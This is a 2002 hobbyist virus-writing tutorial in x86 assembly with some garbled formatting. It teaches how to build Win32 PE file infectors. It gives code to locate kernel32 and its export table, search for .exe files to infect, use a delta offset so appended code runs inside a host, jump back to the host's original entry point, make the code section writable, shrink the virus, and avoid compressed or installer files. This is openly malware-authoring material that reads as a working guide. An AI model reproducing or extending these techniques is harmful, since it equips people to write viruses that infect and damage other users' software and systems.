find_MZ_in_kernel: ;*
;********************
;so edi is an unknow address somewhere in kernel32.dll
dec edi
mov esi,edi
cmp word[edi],"MZ"
jne find_MZ_in_kernel
mov esi,[esi+3ch]
cmp esi,dword 200h
ja find_MZ_in_kernel
add esi,edi
cmp word[esi],"PE"
jne find_MZ_in_kernel
add esi,52
;
;
;
;
cmp edi,dword[esi]
jne find_MZ_in_kernel
mov
add
mov
add
esi,edi
esi,3ch
esi,[esi]
esi,edi
add esi,120
mov esi,[esi]
add esi,edi
;
; !!! esi point now to the EXPORT TABLE !!!
ret ;
; NOW you should find address of GetModuleHandle and GetProcaddress
; in the EXPORT section. and with these two APIs you will find
; all you need !!!!!
;
;
;
GOOD LUCK !!!!!!!!!
;
;
;******************
is_it_kernel32: ;*
;******************
xor ecx,ecx
mov ebx,dword[eax]
add ebx,esi
cmp dword[ebx],"Kern"
jne az1
inc ecx
az1:
cmp dword[ebx+4],"el32"
jne az2
inc ecx
az2:
cmp dword[ebx+16],".DLL"
jne az3
inc ecx
az3:
ret
;
;
;
;
;
;
;
;
;
;
;
;
=============================================================
+
________
+
+
/\
|---\
|
|
|
___ +
+
/ \
|
|
|
--+----+-/
+
+
/
\
|___/
|
|
|
/____ +
+
/------\ | \
|
--+----+-|
\ +
+
/
\ |
\
|
|
|
\___/ +
+
+
=============================================================
HOW TO USE SOME APIs
+++++++++++++++++++
+ GetModuleHandle +
+++++++++++++++++++
The GetModuleHandle function returns a module handle for the specified module
if the file has been mapped into the address space of the calling process.
push lpModuleName ; address of module name to return handle for
call GetModuleHandleA
Parameters:
* IpModuleName
Points to a null-terminated string that names a Win32 module (either a .DLL
or .EXE file). If the filename extension is omitted, the default library
extension .DLL is appended. The filename string can include a trailing point
character (.) to indicate that the module name has no extension. The string
does not have to specify a path. The name is compared (case independently) to
the names of modules currently mapped into the address space of the calling
process. If this parameter is NULL, GetModuleHandle returns a handle of the
file used to create the calling process.
Return Values
If the function succeeds, the return value is a handle to the specified
module. If the function fails, the return value is NULL
_____________________________________________________________________________
+++++++++++++++++++
+ GetProcAddress +
+++++++++++++++++++
The GetProcAddress function returns the address of the specified exported
dynamic-link library (DLL) function.
push dword lpProcName
push dword [hModule]
call GetProcAddress
;name of function
;handle to DLL module
Parameters
* hModule
Identifies the DLL module that contains the function. The LoadLibrary or
GetModuleHandle function returns this handle.
* lpProcName
Points to a null-terminated string containing the function name, or specifies
the function's ordinal value. If this parameter is an ordinal value, it must
be in the low-order word; the high-order word must be zero.
Return Values
If the function succeeds, the return value is the address of the DLL's
exported function. If the function fails, the return value is NULL.
_____________________________________________________________________________
Example:
push dword Kern
call GetModuleHandleA
mov dword[handle],eax
fct1 db"WriteFile",0
Kern db "Kernel32.dll",0
handle dd 0
_____________________________________________________________________________
+++++++++++++++++
+ FindFirstFile +
+++++++++++++++++
The FindFirstFile function searches a directory for a file whose name matches
the specified filename. FindFirstFile examines subdirectory names as well as
filenames.
push dword lpFileName
; pointer to name of file to search for
push dword lpFindFileData ; pointer to returned information
call FindFirstFileA
Parameters
* lpFileName:
Points to a null-terminated string that specifies a valid directory or path
and filename, which can contain wildcard characters (* and ?). This string
must not exceed MAX_PATH characters.
* pFindFileData:
Points to the WIN32_DATA structure that receives information about the found
file or subdirectory. The structure can be used in subsequent calls to the
FindNextFile or FindClose function to refer to the file or subdirectory.
Return Values
If the function succeeds, the return value is a search handle used in a
subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE (-1 or
0FFFFFFFFh)
Example:
push dword Win32data
push dword exe_mask
call FindFirstFileA
cmp eax,-1
je error
mov dword[search_handle],eax
;
;
;
;
;
;
search_handle dd 0
exe_mask db"*.exe",0
Win32data:
FileAttributes
CreationTime
LastAccessTime
LastWriteTime
FileSizeHigh
FileSizeLow
Reserved0
Reserved1
FileName
AlternateFileName
dd 0
dd 0,0
dd 0,0
dd 0,0
dd 0
dd 0
dd 0
dd 0
resb 260
resb 13
;attributes
;time of creation
;last access time
;last modification
;filesize
; "
;long filename
;short filename
_____________________________________________________________________________
++++++++++++++++
+ FindNextFile +
++++++++++++++++
The FindNextFile function continues a file search from a previous call to the
FindFirstFile function.
push dword Win32data
push dword[hFindFile]
call FindNextFileA
; address of Win32data
; handle to search
Parameters
* hFindFile
Identifies a search handle returned by a previous call to the FindFirstFile
function.
* lpFindFileData
Points to the WIN32_FIND_DATA structure that receives information about the
found file or subdirectory. The structure can be used in subsequent calls to
FindNextFile to refer to the found file or directory.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero.
Example:
push dword Win32data
push dword [search_handle]
call FindNextFileA
cmp eax,0
je error
; address of Win32data
; handle to search
; no more file?
;
____________________________________________________________________________
++++++++++++++
+ CreateFile +
++++++++++++++
The CreateFile function creates or opens the following objects and returns a
handle that can be used to access the object:
files, pipes , mailslots ,communications resources ,disk devices (Windows NT
only) consoles ,directories (open only)
example:
push dword 0
push dword 0
push byte 3
push dword 0
push dword 3
push dword 0c0000000h
push dword FileName
call CreateFileA
mov [handle+ebp],eax
inc eax
jz erreur
_____________________________________________________________________________
See also the APIs CreateFileMapping
MapViewOfFile
OpenFileMapping
UnmapViewOfFile
MapAndLoad
UnMapAndLoad
CloseHandle
SetEndOfFile
SetFileTime
WriteFile
ReadFile
SetFilePointer
SetCurrentDirectory
GetCurrentDirectory
GetWindoxsDirectory
=============================================================
+
________
+
+
/\
|---\
|
|
|
_____ +
+
/ \
|
|
|
--+----+-/ +
+
/
\
|___/
|
|
|
/ +
+
/------\ | \
|
--+----+-/
+
+
/
\ |
\
|
|
|
/
+
+
+
=============================================================
DELTA OFFSET
I will now explain to you the DELTA OFFSET but first take a look at your
first WIN32 program (hello.EXE)
I you have understood how a PE .EXE file is made so you will understand
that the code section begin at offset 00401000h (entry_point+image_base)
(in a standard PE file, normaly linked)
OFFSET
| OPCODE IN HEX VALUE
| CODE
----------|----------------------------------|---------------------00401000h | 6A00
| push byte 0
00401002h | 681A104000
| push dword caption
00401007h | 6834104000
| push dword text
0040100Ch | 6A00
| push byte 0
0040100Eh | E8ED0F0000
| call MessageBoxA
00401013h | 6A00
| push byte 0
00401015h | E8EC0F0000
| call ExitProcess
0040101Ah | 596F757220666972737420
| caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm",0
00401034h | 48454C4C4F00
| test db "HELLO",0
look now at offset 00401002h , you see that : 68 1A104000
|
|
+--------------------+
|
|
|
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+
Did you see our problem ? NO ! so imagine that you put this piece of code at
the end of one another file (like a virus do) , so the code will not run
should be change in :
call delta
delta:
pop ebp
sub ebp,dword delta
lea eax,[label1+ebp]
mov ebx,dword[label2+ebp]
CLEAR ? ? ? There is other technique to do the same thing with no use of the
delta technique...
Note that you can do this too:
call delta
delta:
pop edx
sub eax,dword delta
...
...
...
lea eax,[label1+edx]
mov ebx,dword[label2+edx]
but the register edx should never change in all your code ! ! !
=============================================================
+
________
+
+
/\
|---\
|
|
|
____ +
+
/ \
|
|
|
--+----+-/
\ +
+
/
\
|___/
|
|
|
\____/ +
+
/------\ | \
|
--+----+-/
\ +
+
/
\ |
\
|
|
|
\____/ +
+
+
=============================================================
RETURN TO THE HOST
;
; INFECT FILES !
;
mov eax,dword[image_base+ebp]
;
add eax,dword[original_entry_point+ebp] ;
mov dword[jump+ebp+1],eax
; simulate a jmp to original entry
; point
popad
; restore registers
db 68h,0,0,0,0
jump:
ret
=============================================================
+
________
+
+
/\
|---\
|
|
|
____ +
+
/ \
|
|
|
--+----+-/
\ +
+
/
\
|___/
|
|
|
\____/ +
+
/------\ | \
|
--+----+-/ +
+
/
\ |
\
|
|
|
__/ +
+
+
=============================================================
**************************
* CODE SECTION WRITEABLE *
**************************
when you code a virus you put your code, data, idata in only one section (in
the code section) But when the linker link your vx it create a 'non
writeable' code section so you have to change the flag of your code section
(in object table)
quick view in hexadecimal:
when you link an 'normal' program, the code section looks like (in object
table):
00000160
00000170
00000180
43 4F 44 45 00 00 00 00
CODE....
00 10 00 00 00 10 00 00 CF 00 00 00 00 04 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................
instead of
.
.
.
push dword 0
push dword 0
push dword 0
or eax,eax
instead of
jz go_somewhere
.
cmp eax,0
je go_somewhere
xor eax,eax
mov al,4
instead of
.
mov eax,4
jecxz go_away
instead of
.
cmp ecx,0
je go_away
But I will not tell you here how to minimize your op codes...Let's read zine.
Imagine now that you have minimize your op codes to the maximum ! You can
still reduce your code...HOW? take a look at your buffers, they take an
enormous place in your code. I think to the Win32Data buffer for example.
Win32data:
FileAttributes
CreationTime
LastAccessTime
LastWriteTime
FileSizeHigh
FileSizeLow
Reserved0
Reserved1
FileName
AlternateFileName
dd 0
dd 0,0
dd 0,0
dd 0,0
dd 0
dd 0
dd 0
dd 0
resb 260
resb 13
317 bytes long !!!!! The trick is not to put your buffer in the code but in
memory.
To do that you need an API to allocate memory: You can use GlobalAlloc.
;------------------------------------------------------------------------------;
push dword 317
; nb of byte to allocate
;
push dword 40h
; ZERO_INIT flag
;
call [XGlobalAllocX+ebp]
; [XGlobalAllocX] is the address of
;
; GlobalAlloc API you have found after
;
; scanning IMPORT or EXPORT table
;
mov dword[mem_alloc+ebp],eax ; save the offset of the allocated memory ;
;------------------------------------------------------------------------------;
Ok. Now you have allocated some memory for your Win32DATA. Use this
memory_buffer like this:
;---------------------------------------------------------------------------;
;********************
;
find_first:
;**
;
;********************
;
mov eax,[mem_alloc+ebp]
;
;
push eax
; offset of Win32 in memory
;
lea eax,[exe_mask+ebp]
;
;
push eax
; file to find
;
call dword [XFindFirstFileAX+ebp]
; search!
;
mov dword[search_handle+ebp],eax ; save handle
;
ret
;
exe_mask
db "*.exe",0
;
search_handle dd 0
;
;
;---------------------------------------------------------------------------use push
If you have a lot of buffer you can reduce your code by 400 or 500 bytes !
It is not very hard to adjust your code.
Cool isn't it?
**********************
* COMPRESSED PE FILE *
**********************
Some PE .EXE are compressed by some software like UPX. It's cool when you
want to reduce the size of the .EXE ( to put in an download area on the web
for example) I know only 3 way to check them:
- number of APIs imported:
in a PE .EXE compressed file, the import section contains only a few APIs
imported. You can check the number of APIs imported from kernel32.dll and you
should avoid the infection if the file imports less than 7,8 or 10 APIs
- flags of the section in object table...
Some PE compressor set special flag of the section in the object table
- ASCII name of the file
You can check if the file name contains those words: setup, install, ...
You should not infect those type of file !!!!!!!!!!
==========================================================================
==========================================================================
I hope that this tutorial will help you but don't forget this:
DON'T DESTROY ANYTHING !!!
PEACE !
LiTlLe VxW
October 2002